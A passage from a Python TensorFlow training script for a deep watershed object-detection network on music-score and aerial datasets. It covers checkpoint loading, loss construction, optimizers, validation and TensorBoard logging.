\"DeepScores_300dpi\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 1])\n resnet_dir = args.pretrained_dir + \"/DeepScores/\"\n refinenet_dir = args.pretrained_dir + \"/DeepScores_semseg/\"\n\n elif \"DeepScores\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 1])\n resnet_dir = args.pretrained_dir + \"/DeepScores/\"\n refinenet_dir = args.pretrained_dir + \"/DeepScores_semseg/\"\n\n elif \"MUSICMA\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 1])\n resnet_dir = args.pretrained_dir + \"/DeepScores/\"\n refinenet_dir = args.pretrained_dir + \"/DeepScores_semseg/\"\n\n elif \"macrophages\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 3])\n resnet_dir = args.pretrained_dir + \"/ImageNet/\"\n refinenet_dir = args.pretrained_dir + \"/VOC2012/\"\n\n elif \"Dota_2018\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 3])\n resnet_dir = args.pretrained_dir + \"/ImageNet/\"\n refinenet_dir = args.pretrained_dir + \"/VOC2012/\"\n\n else:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 3])\n resnet_dir = args.pretrained_dir + \"/ImageNet/\"\n refinenet_dir = args.pretrained_dir + \"/VOC2012/\"\n\n if not (len(args.training_help) == 1 and args.training_help[0] is None):\n # initialize helper_input\n helper_input = tf.placeholder(tf.float32, shape=[None, None, None, input.shape[-1] + 1])\n feed_head = slim.conv2d(helper_input, input.shape[-1], [3, 3], scope='gt_feed_head')\n input = feed_head\n\n print(\"Initializing Model:\" + args.model)\n # model has all possible output heads (even if unused) to ensure saving and loading goes smoothly\n network_heads, init_fn = build_dwd_net(\n input, model=args.model, num_classes=nr_classes, pretrained_dir=resnet_dir, max_energy=args.max_energy,\n individual_upsamp = args.individual_upsamp, assigns=args.training_assignements, substract_mean=False, n_filters=args.n_filters)\n\n # use just one image summary OP for all tasks\n # train\n train_pred_placeholder = tf.placeholder(tf.uint8, shape=[1, None, None, 3])\n images_sums = []\n images_placeholders = []\n\n images_placeholders.append(train_pred_placeholder)\n images_sums.append(tf.summary.image('DWD_debug_train_img', train_pred_placeholder))\n train_images_summary_op = tf.summary.merge(images_sums)\n\n # valid\n valid_pred_placeholder = tf.placeholder(tf.uint8, shape=[1, None, None, 3])\n images_sums = []\n\n images_placeholders.append(valid_pred_placeholder)\n images_sums.append(tf.summary.image('DWD_debug_valid_img', valid_pred_placeholder))\n valid_images_summary_op = tf.summary.merge(images_sums)\n\n images_summary_op = [train_images_summary_op, valid_images_summary_op]\n\n\n # initialize tasks\n preped_assign = []\n for aid, assign in enumerate(args.training_assignements):\n [loss, optim, gt_placeholders, scalar_summary_op,\n mask_placholders] = initialize_assignement(aid, assign, imdb, network_heads, sess, data_layer, input, args)\n preped_assign.append(\n [loss, optim, gt_placeholders, scalar_summary_op, images_summary_op, images_placeholders, mask_placholders])\n\n # init tensorflow session\n saver = tf.train.Saver(max_to_keep=1000)\n sess.run(tf.global_variables_initializer())\n\n # load model weights\n checkpoint_dir = get_checkpoint_dir(args)\n checkpoint_name = \"backbone\"\n if args.continue_training == \"Last\":\n shutil.rmtree(checkpoint_dir)\n old_path, nr = checkpoint_dir.rsplit(\"_\",1)\n old_path = old_path + \"_\" + str(int(nr) - 1)\n shutil.copytree(old_path, checkpoint_dir)\n args.continue_training = \"True\"\n\n if args.continue_training == \"True\":\n print(\"Loading checkpoint\")\n saver.restore(sess, checkpoint_dir + \"/\" + checkpoint_name)\n elif args.pretrain_lvl == \"deepscores_to_musicma\":\n pretrained_vars = []\n for var in slim.get_model_variables():\n if not (\"class_pred\" in var.name):\n pretrained_vars.append(var)\n print(\"Loading network pretrained on Deepscores for Muscima\")\n loading_checkpoint_name = args.pretrained_dir + \"/DeepScores_to_Muscima/\" + \"backbone\"\n init_fn = slim.assign_from_checkpoint_fn(loading_checkpoint_name, pretrained_vars)\n init_fn(sess)\n elif args.pretrain_lvl == \"DeepScores_to_300dpi\":\n pretrained_vars = []\n for var in slim.get_model_variables():\n if not (\"class_pred\" in var.name):\n pretrained_vars.append(var)\n print(\"Loading network pretrained on Deepscores for Muscima\")\n loading_checkpoint_name = args.pretrained_dir+ \"/DeepScores_to_300dpi/\" + \"backbone\"\n init_fn = slim.assign_from_checkpoint_fn(loading_checkpoint_name, pretrained_vars)\n init_fn(sess)\n else:\n if args.pretrain_lvl == \"semseg\" and init_fn is not None:\n # load all variables except the ones in scope \"deep_watershed\"\n pretrained_vars = []\n for var in slim.get_model_variables():\n if not (\"deep_watershed\" in var.name or \"gt_feed_head\" in var.name):\n pretrained_vars.append(var)\n\n print(\"Loading network pretrained on semantic segmentation\")\n loading_checkpoint_name = refinenet_dir + args.model + \".ckpt\"\n init_fn = slim.assign_from_checkpoint_fn(loading_checkpoint_name, pretrained_vars)\n init_fn(sess)\n elif args.pretrain_lvl == \"class\" and init_fn is not None:\n print(\"Loading pretrained weights for level: \" + args.pretrain_lvl)\n init_fn(sess)\n else:\n print(\"Not loading a pretrained network\")\n\n #sess.run(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='deep_watershed/energy_logits_pair0'))\n\n # set up tensorboard\n writer = tf.summary.FileWriter(checkpoint_dir, sess.graph)\n # store config\n with open(checkpoint_dir+\"/\"+datetime.datetime.now().isoformat()+\n \"__\"+fingerprint+\".txt\", \"w\") as text_config:\n text_config.write(str(args_txt))\n # pickle config\n with open(checkpoint_dir + \"/\" + datetime.datetime.now().isoformat() +\n \"__\" + fingerprint + \".p\", \"wb\") as pickle_config:\n pickle.dump(args_txt,pickle_config)\n\n\n if args.train_only_combined != \"True\":\n # execute tasks\n for do_a in args.do_assign:\n assign_nr = do_a[\"assign\"]\n do_itr = do_a[\"Itrs\"]\n training_help = args.training_help[do_a[\"help\"]]\n iteration = execute_assign(args, input, saver, sess, checkpoint_dir, checkpoint_name, data_layer, writer,\n network_heads,\n do_itr, args.training_assignements[assign_nr], preped_assign[assign_nr], iteration,\n training_help,fingerprint)\n\n # execute combined tasks\n for do_comb_a in args.combined_assignements:\n do_comb_itr = do_comb_a[\"Itrs\"]\n rm_length = do_comb_a[\"Running_Mean_Length\"]\n loss_factors = do_comb_a[\"loss_factors\"]\n orig_assign = [args.training_assignements[i] for i in do_comb_a[\"assigns\"]]\n preped_assigns = [preped_assign[i] for i in do_comb_a[\"assigns\"]]\n training_help = None # unused atm\n execute_combined_assign(args, data_layer, training_help, orig_assign, preped_assigns, loss_factors, do_comb_itr,\n iteration, input, rm_length,\n network_heads, sess, checkpoint_dir, checkpoint_name, saver, writer,fingerprint)\n\n print(\"done :)\")\n\ndef run_batch_combined_assign():\n return \"fetched_loss\"\n\n\ndef execute_combined_assign(args, data_layer, training_help, orig_assign, preped_assigns, loss_factors, do_comb_itr,\n iteration, input_ph, rm_length,\n network_heads, sess, checkpoint_dir, checkpoint_name, saver, writer,fingerprint):\n # init data layer\n if args.prefetch == \"True\":\n data_layer[0] = PrefetchWrapper(data_layer[0].forward, args.prefetch_len, args.prefetch_size, args.prefetch_cache_dir, args.prefetch_proc,fingerprint, args, orig_assign, training_help)\n\n # combine losses\n if rm_length is not None:\n past_losses = np.ones((len(loss_factors), rm_length), np.float32)\n\n loss_scalings_placeholder = tf.placeholder(tf.float32, [len(loss_factors)])\n loss_tot = None\n for i in range(len(preped_assigns)):\n if loss_tot is None:\n loss_tot = preped_assigns[i][0] * loss_scalings_placeholder[i]\n else:\n loss_tot += preped_assigns[i][0] * loss_scalings_placeholder[i]\n\n # init optimizer -- make sure optimizer is fresh\n with tf.variable_scope(\"combined_opt\" + str(0), reuse=False):\n var_list = [var for var in tf.trainable_variables() if \"BatchNorm\" not in var.name and \"bias\" not in var.name]\n\n # maybe exclude shortcuts from regularization\n var_list_res = [var for var in var_list if \"resnet_\" in var.name]\n var_list_not_res = [var for var in var_list if \"resnet_\" not in var.name]\n loss_L2_downsam = tf.add_n([tf.nn.l2_loss(v) for v in var_list_res]) * args.regularization_coefficient_downsamp\n loss_L2_upsam = tf.add_n([tf.nn.l2_loss(v) for v in var_list_not_res]) * args.regularization_coefficient_upsamp\n\n loss_tot_reg = loss_tot + loss_L2_downsam + loss_L2_upsam\n optimizer_type = args.optim\n if args.optim == 'rmsprop':\n optim = tf.train.RMSPropOptimizer(learning_rate=args.learning_rate, decay=0.995).minimize(loss_tot_reg,\n var_list=var_list)\n elif args.optim == 'adam':\n optim = tf.train.AdamOptimizer(learning_rate=args.learning_rate).minimize(loss_tot_reg, var_list=var_list)\n else:\n optim = tf.train.MomentumOptimizer(learning_rate=args.learning_rate, momentum=0.9).minimize(loss_tot_reg,\n va_list=var_list)\n opt_inizializers = [var.initializer for var in tf.global_variables() if \"combined_opt\" + str(0) in var.name]\n sess.run(opt_inizializers)\n # compute step\n print(\"training on combined assignments\")\n print(\"for \" + str(do_comb_itr) + \" iterations\")\n\n # waste elements off queue because qu0.eue clear does not work\n for i in range(14):\n data_layer[0].forward(args, orig_assign, training_help)\n\n for itr in range(iteration, (iteration + do_comb_itr)):\n # load batch - only use batches with content\n # batch_not_loaded = True\n # while batch_not_loaded:\n # blob = data_layer[0].forward(args, orig_assign, training_help)\n # batch_not_loaded = len(blob[0][0][\"gt_boxes\"].shape) != 3 or sum([\"assign\" in key for key in blob[0][0].keys()]) != len(preped_assigns)\n #\n # feed_dict = {}\n # data_list = []\n # for ind_batch, batch_ele in enumerate(blob):\n # sub_data_list = []\n # for ind_sub_batch, sub_batch_ele in enumerate(batch_ele):\n # sub_data_list.append(sub_batch_ele[\"data\"])\n # # stack input data\n # if len(sub_data_list) > 1:\n # data_list.append(np.concatenate(sub_data_list, -1))\n # else:\n # data_list.append(sub_data_list[0])\n #\n # # stack minibatch\n # if len(data_list) > 1:\n # feed_dict[input_ph] = np.concatenate(data_list, 0)\n # else:\n # feed_dict[input_ph] = data_list[0]\n #\n # # pad with zeros if last dim is exactly 2\n # if feed_dict[input_ph].shape[-1] == 2:\n # feed_dict[input_ph] = np.concatenate([feed_dict[input_ph], np.zeros(feed_dict[input_ph].shape[:-1] + (1,))], -1)\n #\n # # iterate over assignements\n # for i1 in range(len(preped_assigns)):\n # gt_placeholders = preped_assigns[i1][2]\n # mask_placeholders = preped_assigns[i1][6]\n # # iterate over sub-batch\n # for index_sb, (gt_sb, mask_sb) in enumerate(zip(gt_placeholders, mask_placeholders)):\n # # iterate over downsampling\n # for index_ds, (gt_ds, mask_ds) in enumerate(zip(gt_sb, mask_sb)):\n # # concat over batch axis\n # feed_dict[gt_ds] = np.concatenate([batch_ele[index_sb][\"assign\" + str(i1)][\"gt_map\" + str(len(gt_sb) - 1 - index_ds)] for batch_ele in blob], 0)\n # feed_dict[mask_ds] = np.stack([batch_ele[index_sb][\"assign\" + str(i1)][\"mask\" + str(len(gt_sb) - 1 - index_ds)] for batch_ele in blob], 0)\n feed_dict, blob = load_feed_dict(data_layer, args, orig_assign, training_help, input_ph, preped_assigns)\n\n # compute running mean for losses\n if rm_length is not None:\n feed_dict[loss_scalings_placeholder] = loss_factors / np.maximum(np.mean(past_losses, 1), np.repeat(1.0E-6, past_losses.shape[0]))\n else:\n feed_dict[loss_scalings_placeholder] = loss_factors\n\n # with open('feed_dict_train.pickle', 'wb') as handle:\n # pickle.dump(feed_dict[input_ph], handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n #train step\n fetch_list = list()\n fetch_list.append(optim)\n fetch_list.append(loss_tot)\n fetch_list.append(loss_tot_reg)\n #fetch_list.append(loss_L2)\n for preped_a in preped_assigns:\n fetch_list.append(preped_a[0])\n fetches = sess.run(fetch_list, feed_dict=feed_dict)\n\n if rm_length is not None:\n past_losses[:, :-1] = past_losses[:, 1:] # move by one timestep\n past_losses[:, -1] = fetches[-past_losses.shape[0]:] # add latest loss\n\n if itr % args.print_interval == 0 or itr == 1:\n print(\"loss unregularized at itr: \" + str(itr) + \" at: \"+ str(datetime.datetime.now())+\":\"+str(fetches[1]))\n print(\"loss regularized at itr: \" + str(itr) + \" at: \" + str(datetime.datetime.now()) + \":\" + str(fetches[2]))\n\n if rm_length is not None:\n print(past_losses)\n\n if itr % args.tensorboard_interval == 0 or itr == 1:\n\n post_assign_to_tensorboard(orig_assign, preped_assigns, network_heads, feed_dict, itr, sess, writer, blob)\n\n if itr % args.validation_loss_task == 0 or itr == 1:\n # approximate validation loss\n val_loss = 0\n for i in range(args.validation_loss_task_nr_batch):\n feed_dict, blob = load_feed_dict(data_layer, args, orig_assign, training_help, input_ph, preped_assigns, valid=1)\n if rm_length is not None:\n feed_dict[loss_scalings_placeholder] = loss_factors / np.maximum(np.mean(past_losses, 1), np.repeat(1.0E-6, past_losses.shape[0]))\n else:\n feed_dict[loss_scalings_placeholder] = loss_factors\n loss_fetch = sess.run([loss_tot], feed_dict=feed_dict)\n val_loss += loss_fetch[0]\n\n val_loss = val_loss/args.validation_loss_task_nr_batch\n print(\"Validation loss estimate at itr \" + str(itr) + \": \" + str(val_loss))\n\n post_assign_to_tensorboard(orig_assign, preped_assigns, network_heads, feed_dict, itr, sess, writer, blob, valid=1)\n\n\n\n if itr % args.save_interval == 0:\n print(\"saving weights\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver.save(sess, checkpoint_dir + \"/\" + checkpoint_name)\n\n iteration = (iteration + do_comb_itr)\n if args.prefetch == \"True\":\n data_layer.kill()\n\n return iteration\n\n\ndef post_assign_to_tensorboard(orig_assign, preped_assigns, network_heads, feed_dict, itr, sess, writer, blob, valid = 0):\n\n gt_visuals = []\n map_visuals = []\n # post scalar summary per assign, store fetched maps\n for i in range(len(preped_assigns)):\n assign = orig_assign[i]\n _, _, _, scalar_summary_op, images_summary_op, images_placeholders, _ = preped_assigns[i]\n fetch_list = [scalar_summary_op[valid]]\n # fetch sub_predicitons\n # nr_feature_maps = len(network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]])\n #\n # [fetch_list.append(\n # network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps - (x + 1)]) for x\n # in\n # range(len(assign[\"ds_factors\"]))]\n\n for nw_head_key in network_heads.keys():\n if i == int(nw_head_key.split(\"_\")[0]):\n nr_feature_maps = len(network_heads[nw_head_key])\n\n [fetch_list.append(network_heads[nw_head_key][nr_feature_maps - (x + 1)]) for x\n in range(len(assign[\"ds_factors\"]))]\n\n\n summary = sess.run(fetch_list, feed_dict=feed_dict)\n writer.add_summary(summary[0], float(itr))\n\n gt_visual = get_gt_visuals(blob, assign, i, pred_boxes=None, show=False)\n map_visual = get_map_visuals(summary[1:], assign, show=False)\n gt_visuals.append(gt_visual)\n map_visuals.append(map_visual)\n\n # stitch one large image out of all assigns\n stitched_img = get_stitched_tensorboard_image(orig_assign, gt_visuals, map_visuals, blob, itr)\n stitched_img = np.expand_dims(stitched_img, 0)\n #obsolete\n #images_feed_dict = get_images_feed_dict(assign, blob, gt_visuals, map_visuals, images_placeholders)\n images_feed_dict = dict()\n images_feed_dict[images_placeholders[valid]] = stitched_img\n\n # save images to tensorboard\n summary = sess.run([images_summary_op[valid]], feed_dict=images_feed_dict)\n writer.add_summary(summary[0], float(itr))\n \n\n return None\n\n\ndef focal_loss(prediction_tensor, target_tensor, weights=None, alpha=0.25, gamma=2):\n r\"\"\"Compute focal loss for predictions.\n Multi-labels Focal loss formula:\n FL = -alpha * (z-p)^gamma * log(p) -(1-alpha) * p^gamma * log(1-p)\n ,which alpha = 0.25, gamma = 2, p = sigmoid(x), z = target_tensor.\n Args:\n prediction_tensor: A float tensor of shape [batch_size, num_anchors,\n num_classes] representing the predicted logits for each class\n target_tensor: A float tensor of shape [batch_size, num_anchors,\n num_classes] representing one-hot encoded classification targets\n weights: A float tensor of shape [batch_size, num_anchors]\n alpha: A scalar tensor for focal loss alpha hyper-parameter\n gamma: A scalar tensor for focal loss gamma hyper-parameter\n Returns:\n loss: A (scalar) tensor representing the value of the loss function\n \"\"\"\n softmax_p = tf.nn.softmax(prediction_tensor)\n zeros = array_ops.zeros_like(softmax_p, dtype=softmax_p.dtype)\n\n # For poitive prediction, only need consider front part loss, back part is 0;\n # target_tensor > zeros <=> z=1, so poitive coefficient = z - p.\n pos_p_sub = array_ops.where(target_tensor > zeros, target_tensor - softmax_p, zeros)\n # For negative prediction, only need consider back part loss, front part is 0;\n # target_tensor > zeros <=> z=1, so negative coefficient = 0.\n neg_p_sub = array_ops.where(target_tensor > zeros, zeros, softmax_p)\n per_entry_cross_ent = - alpha * (pos_p_sub ** gamma) * tf.log(tf.clip_by_value(softmax_p, 1e-8, 1.0)) \\\n - (1 - alpha) * (neg_p_sub ** gamma) * tf.log(tf.clip_by_value(1.0 - softmax_p, 1e-8, 1.0))\n # print(tf.reduce_mean(per_entry_cross_ent))\n return per_entry_cross_ent\n # return tf.reduce_mean(per_entry_cross_ent)\n\n\ndef initialize_assignement(aid, assign, imdb, network_heads, sess, data_layer, input, args):\n gt_placeholders = get_gt_placeholders(assign, imdb, args.paired_data, args.nr_classes[0], args)\n\n loss_mask_placeholders = []\n for pair_nr in range(args.paired_data):\n loss_mask_placeholders.append([tf.placeholder(tf.float32, shape=[None, None, None, 1]) for x in assign[\"ds_factors\"]])\n\n\n pair_contrib_loss = []\n for pair_nr in range(args.paired_data):\n debug_fetch = dict()\n s_task_id = str(aid)+\"_\"+str(pair_nr)\n if assign[\"stamp_func\"][0] == \"stamp_directions\":\n loss_components = []\n for x in range(len(assign[\"ds_factors\"])):\n # TODO ignored for the moment\n raise NotImplementedError\n\n debug_fetch[str(x)] = dict()\n # # mask, where gt is zero\n split1, split2 = tf.split(gt_placeholders[x], 2, -1)\n debug_fetch[str(x)][\"split1\"] = split1\n\n mask = tf.squeeze(split1 > 0, -1)\n debug_fetch[str(x)][\"mask\"] = mask\n\n masked_pred = tf.boolean_mask(network_heads[s_task_id][x], mask)\n debug_fetch[str(x)][\"masked_pred\"] = masked_pred\n\n masked_gt = tf.boolean_mask(gt_placeholders[x], mask)\n debug_fetch[str(x)][\"masked_gt\"] = masked_gt\n\n # norm prediction\n norms = tf.norm(masked_pred, ord=\"euclidean\", axis=-1, keep_dims=True)\n masked_pred = masked_pred / norms\n debug_fetch[str(x)][\"masked_pred_normed\"] = masked_pred\n\n gt_1, gt_2 = tf.split(masked_gt, 2, -1)\n pred_1, pred_2 = tf.split(masked_pred, 2, -1)\n inner_2 = gt_1 * pred_1 + gt_2 * pred_2\n debug_fetch[str(x)][\"inner_2\"] = inner_2\n inner_2 = tf.maximum(tf.constant(-1, dtype=tf.float32),\n tf.minimum(tf.constant(1, dtype=tf.float32), inner_2))\n\n acos_inner = tf.acos(inner_2)\n debug_fetch[str(x)][\"acos_inner\"] = acos_inner\n\n loss_components.append(acos_inner)\n else:\n nr_feature_maps = len(network_heads[s_task_id])\n nr_ds_factors = len(assign[\"ds_factors\"])\n if assign[\"stamp_args\"][\"loss\"] == \"softmax\":\n loss_components = [tf.nn.softmax_cross_entropy_with_logits(\n logits=network_heads[s_task_id][\n nr_feature_maps - nr_ds_factors + x],\n labels=gt_placeholders[pair_nr][x], dim=-1) for x in range(nr_ds_factors)]\n # loss_components = [focal_loss(prediction_tensor=network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps-nr_ds_factors+x],\n # target_tensor=gt_placeholders[x]) for x in range(nr_ds_factors)]\n\n\n for x in range(nr_ds_factors):\n debug_fetch[\"logits_\" + str(x)] = network_heads[s_task_id][\n nr_feature_maps - nr_ds_factors + x]\n debug_fetch[\"labels\" + str(x)] = gt_placeholders[pair_nr][x]\n debug_fetch[\"loss_components_softmax\"] = loss_components\n else:\n loss_components = [tf.losses.mean_squared_error(\n predictions=network_heads[s_task_id][\n nr_feature_maps - nr_ds_factors + x],\n labels=gt_placeholders[pair_nr][x], reduction=\"none\") for x in range(nr_ds_factors)]\n debug_fetch[\"loss_components_mse\"] = loss_components\n\n # apply loss mask\n comp_multy = []\n for i in range(len(loss_components)):\n # maybe expand dims\n if len(loss_components[i].shape) == 3:\n cond_result = tf.expand_dims(loss_components[i], -1)\n else:\n cond_result = loss_components[i]\n comp_multy.append(tf.multiply(cond_result, loss_mask_placeholders[pair_nr][i]))\n # call tf.reduce mean on each loss component\n final_loss_components = [tf.reduce_mean(x) for x in comp_multy]\n\n stacked_components = tf.stack(final_loss_components)\n\n if assign[\"layer_loss_aggregate\"] == \"min\":\n loss = tf.reduce_min(stacked_components)\n elif assign[\"layer_loss_aggregate\"] == \"avg\":\n loss = tf.reduce_mean(stacked_components)\n else:\n raise NotImplementedError(\"unknown layer aggregate\")\n\n pair_contrib_loss.append(loss)\n\n # ---------------------------------------------------------------------\n # Debug code -- THIS HAS TO BE COMMENTED OUT UNLESS FOR DEBUGGING\n #\n # sess.run(tf.global_variables_initializer())\n # blob = data_layer[0].forward(args, [assign], None)\n #\n # feed_dict = {}\n #\n # data_list = []\n # for ind_batch, batch_ele in enumerate(blob):\n # sub_data_list = []\n # for ind_sub_batch, sub_batch_ele in enumerate(batch_ele):\n # sub_data_list.append(sub_batch_ele[\"data\"])\n #\n # # stack input data\n # if len(sub_data_list) > 1:\n # data_list.append(np.concatenate(sub_data_list, -1))\n # else:\n # data_list.append(sub_data_list[0])\n #\n # # stack minibatch\n # if len(data_list) > 1:\n # feed_dict[input] = np.concatenate(data_list, 0)\n # else:\n # feed_dict[input] = data_list[0]\n #\n #\n # # pad with zeros if last dim is exactly 2\n # if feed_dict[input].shape[-1] == 2:\n # feed_dict[input] = np.concatenate([feed_dict[input], np.zeros(feed_dict[input].shape[:-1] + (1,))], -1)\n #\n # # iterate over sub-batch\n # for index_sb, (gt_sb, mask_sb) in enumerate(zip(gt_placeholders, loss_mask_placeholders)):\n # # iterate ds-factor\n # for index_ds, (gt_ds, mask_ds) in enumerate(zip(gt_sb, mask_sb)):\n # # concat over batch axis\n # feed_dict[gt_ds] = np.concatenate([batch_ele[index_sb][\"assign0\"][\"gt_map\" + str(len(gt_sb) - 1 - index_ds)] for batch_ele in blob], 0)\n # feed_dict[mask_ds] = np.stack([batch_ele[index_sb][\"assign0\"][\"mask\" + str(len(gt_sb) - 1 - index_ds)] for batch_ele in blob], 0)\n #\n # # train step\n # loss_fetch = sess.run(debug_fetch, feed_dict=feed_dict)\n # loss_fetch_1 = sess.run(loss, feed_dict=feed_dict)\n # end debug code\n # ---------------------------------------------------------------------\n\n stacked_components = tf.stack(pair_contrib_loss)\n loss = tf.reduce_mean(stacked_components)\n if args.train_only_combined != \"True\":\n # init optimizer\n var_list = [var for var in tf.trainable_variables()]\n optimizer_type = args.optim\n loss_L2 = tf.add_n([tf.nn.l2_loss(v) for v in var_list\n if 'bias' not in v.name]) * args.regularization_coefficient\n loss += loss_L2\n if optimizer_type == 'rmsprop':\n optim = tf.train.RMSPropOptimizer(learning_rate=args.learning_rate, decay=0.995).minimize(loss,\n var_list=var_list)\n elif optimizer_type == 'adam':\n optim = tf.train.AdamOptimizer(learning_rate=args.learning_rate).minimize(loss, var_list=var_list)\n else:\n optim = tf.train.MomentumOptimizer(learning_rate=args.learning_rate, momentum=0.9).minimize(loss,\n var_list=var_list)\n else:\n optim = None\n\n # init summary operations\n # define summary ops\n scalar_sums = []\n scalar_sums.append(tf.summary.scalar(\"train_loss_\" + get_config_id(assign) + \"_\", loss))\n\n for comp_nr in range(len(loss_components)):\n scalar_sums.append(tf.summary.scalar(\"train_loss_component_\" + get_config_id(assign) + \"Nr\" + str(comp_nr) + \"_\",\n final_loss_components[comp_nr]))\n\n train_scalar_summary_op = tf.summary.merge(scalar_sums)\n\n scalar_sums = []\n scalar_sums.append(tf.summary.scalar(\"valid_loss_\" + get_config_id(assign) + \"_\", loss))\n\n for comp_nr in range(len(loss_components)):\n scalar_sums.append(tf.summary.scalar(\"valid_loss_component_\" + get_config_id(assign) + \"Nr\" + str(comp_nr) + \"_\",\n final_loss_components[comp_nr]))\n\n valid_scalar_summary_op = tf.summary.merge(scalar_sums)\n\n scalar_summary_op = [train_scalar_summary_op, valid_scalar_summary_op]\n\n\n return loss, optim, gt_placeholders, scalar_summary_op, loss_mask_placeholders\n\n\ndef load_feed_dict(data_layer, args, assign, training_help, input_ph, preped_assigns, valid=0):\n\n # load batch - only use batches with content\n batch_not_loaded = True\n while batch_not_loaded:\n blob = data_layer[valid].forward(args, assign, training_help)\n batch_not_loaded = len(blob[0][0][\"gt_boxes\"].shape) != 3 or sum([\"assign\" in key for key in blob[0][0].keys()]) != len(preped_assigns)\n\n feed_dict = {}\n data_list = []\n for ind_batch, batch_ele in enumerate(blob):\n sub_data_list = []\n for ind_sub_batch, sub_batch_ele in enumerate(batch_ele):\n sub_data_list.append(sub_batch_ele[\"data\"])\n # stack input data\n if len(sub_data_list) > 1:\n data_list.append(np.concatenate(sub_data_list, -1))\n else:\n data_list.append(sub_data_list[0])\n\n # stack minibatch\n if len(data_list) > 1:\n feed_dict[input_ph] = np.concatenate(data_list, 0)\n else:\n feed_dict[input_ph] = data_list[0]\n\n # pad with zeros if last dim is exactly 2\n if feed_dict[input_ph].shape[-1] == 2:\n feed_dict[input_ph] = np.concatenate([feed_dict[input_ph], np.zeros(feed_dict[input_ph].shape[:-1] + (1,))], -1)\n\n # iterate over assignements\n for i1 in range(len(preped_assigns)):\n gt_placeholders = preped_assigns[i1][2]\n mask_placeholders = preped_assigns[i1][6]\n # iterate over sub-batch\n for index_sb, (gt_sb, mask_sb) in enumerate(zip(gt_placeholders, mask_placeholders)):\n # iterate over downsampling\n for index_ds, (gt_ds, mask_ds) in enumerate(zip(gt_sb, mask_sb)):\n try:\n # concat over batch axis\n feed_dict[gt_ds] = np.concatenate([batch_ele[index_sb][\"assign\" + str(i1)][\"gt_map\" + str(len(gt_sb) - 1 - index_ds)] for batch_ele in blob], 0)\n feed_dict[mask_ds] = np.stack([batch_ele[index_sb][\"assign\" + str(i1)][\"mask\" + str(len(gt_sb) - 1 - index_ds)] for batch_ele in blob], 0)\n except:\n print(\"hoyeasdf\")\n\n return feed_dict, blob\n\n\n\ndef execute_assign(args, input_placeholder, saver, sess, checkpoint_dir, checkpoint_name, data_layer, writer, network_heads,\n do_itr, assign, prepped_assign, iteration, training_help, fingerprint):\n loss, optim, gt_placeholders, scalar_summary_op, images_summary_op, images_placeholders, mask_placeholders = prepped_assign\n\n if args.prefetch == \"True\":\n data_layer[0] = PrefetchWrapper(data_layer[0].forward, args.prefetch_len, args.prefetch_size, args.prefetch_cache_dir, args.prefetch_proc, fingerprint, args, args, [assign], training_help)\n\n print(\"training on:\" + str(assign))\n print(\"for \" + str(do_itr) + \" iterations\")\n for itr in range(iteration, (iteration + do_itr)):\n\n # run a training batch\n feed_dict, blob = load_feed_dict(data_layer, args, [assign], training_help, input_placeholder, [prepped_assign])\n\n _, loss_fetch = sess.run([optim, loss], feed_dict=feed_dict)\n\n if itr % args.print_interval == 0 or itr == 1:\n print(\"loss at itr: \" + str(itr))\n print(loss_fetch)\n\n if itr % args.tensorboard_interval == 0 or itr == 1:\n\n # fetch_list = [scalar_summary_op[0]]\n #\n # # fetch sub_predicitons for each sub_batch\n # for nw_heads_sub_b in network_heads:\n # nr_feature_maps = len(nw_heads_sub_b[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]])\n #\n # [fetch_list.append(\n # nw_heads_sub_b[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps - (x + 1)]) for x\n # in\n # range(len(assign[\"ds_factors\"]))]\n #\n # summary = sess.run(fetch_list, feed_dict=feed_dict)\n # writer.add_summary(summary[0], float(itr))\n #\n # # feed one stitched image to summary op\n # gt_visuals = get_gt_visuals(blob, assign, 0, pred_boxes=None, show=False)\n # map_visuals = get_map_visuals(summary[1:], assign, show=False)\n #\n # stitched_img = get_stitched_tensorboard_image([assign], [gt_visuals], [map_visuals], blob, itr)\n # stitched_img = np.expand_dims(stitched_img, 0)\n # # obsolete\n # #images_feed_dict = get_images_feed_dict(assign, blob, None, None, images_placeholders)\n # images_feed_dict = dict()\n # images_feed_dict[images_placeholders[0]] = stitched_img\n #\n # # save images to tensorboard\n # summary = sess.run([images_summary_op[0]], feed_dict=images_feed_dict)\n # writer.add_summary(summary[0], float(itr))\n\n post_assign_to_tensorboard([assign], [prepped_assign], network_heads, feed_dict, itr, sess, writer, blob, valid=0)\n\n if itr % args.validation_loss_task == 0:\n # approximate validation loss\n val_loss = 0\n for i in range(args.validation_loss_task_nr_batch):\n feed_dict, blob = load_feed_dict(data_layer, args, [assign], training_help, input_placeholder, [prepped_assign], valid=1)\n loss_fetch = sess.run([loss], feed_dict=feed_dict)\n val_loss += loss_fetch[0]\n\n val_loss = val_loss/args.validation_loss_task_nr_batch\n print(\"Validation loss estimate at itr \" + str(itr) + \": \" + str(val_loss))\n\n\n # # post to tensorboard\n # fetch_list = [scalar_summary_op[1]]\n # # fetch sub_predicitons\n # for nw_heads_sub_b in network_heads:\n # nr_feature_maps = len(nw_heads_sub_b[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]])\n #\n # [fetch_list.append(\n # nw_heads_sub_b[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps - (x + 1)]) for x\n # in\n # range(len(assign[\"ds_factors\"]))]\n #\n # summary = sess.run(fetch_list, feed_dict=feed_dict)\n # writer.add_summary(summary[0], float(itr))\n #\n # # feed one stitched image to summary op\n # gt_visuals = get_gt_visuals(blob, assign, 0, pred_boxes=None, show=False)\n # map_visuals = get_map_visuals(summary[1:], assign, 